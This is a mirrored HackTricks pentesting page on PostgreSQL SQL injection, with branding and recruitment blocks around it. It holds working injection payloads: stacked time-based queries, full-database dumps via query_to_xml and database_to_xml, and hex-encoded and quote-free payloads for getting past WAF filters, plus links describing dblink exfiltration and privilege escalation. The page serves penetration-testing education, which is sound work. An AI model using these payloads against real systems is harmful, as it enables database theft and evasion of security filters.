mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
129 lines
7.1 KiB
Markdown
129 lines
7.1 KiB
Markdown
# PostgreSQL injection
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
***
|
|
|
|
**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
|
|
|
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
|
|
|
The **PostgreSQL module `dblink`** offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the `COPY FROM` functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
|
|
|
### **Exfiltration example using dblink and large objects**
|
|
|
|
You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
|
|
|
|
## PostgreSQL Attacks: Read/write, RCE, privesc
|
|
|
|
Check how to compromise the host and escalate privileges from PostgreSQL in:
|
|
|
|
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
|
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
|
{% endcontent-ref %}
|
|
|
|
## WAF bypass
|
|
|
|
### PostgreSQL String functions
|
|
|
|
Manipulating strings could help you to **bypass WAFs or other restrictions**.\
|
|
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
|
|
|
|
### Stacked Queries
|
|
|
|
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
|
|
|
|
```
|
|
id=1; select pg_sleep(10);-- -
|
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
|
```
|
|
|
|
### XML tricks
|
|
|
|
**query\_to\_xml**
|
|
|
|
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
|
|
|
|
```sql
|
|
SELECT query_to_xml('select * from pg_user',true,true,'');
|
|
```
|
|
|
|
**database\_to\_xml**
|
|
|
|
This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
|
|
|
|
```sql
|
|
SELECT database_to_xml(true,true,'');
|
|
```
|
|
|
|
### Strings in Hex
|
|
|
|
If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert\_from to pass the string as hex and bypass filters this way:**
|
|
|
|
{% code overflow="wrap" %}
|
|
```sql
|
|
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
|
|
|
# Bypass via stacked queries + error based + query_to_xml with hex
|
|
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
|
|
|
|
# Bypass via boolean + error based + query_to_xml with hex
|
|
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
|
```
|
|
{% endcode %}
|
|
|
|
### Forbidden quotes
|
|
|
|
If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_):
|
|
|
|
```
|
|
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
|
```
|
|
|
|
Or with `$`. This queries return the same results:
|
|
|
|
```
|
|
SELECT 'hacktricks';
|
|
SELECT $$hacktricks$$;
|
|
SELECT $TAG$hacktricks$TAG$;
|
|
```
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|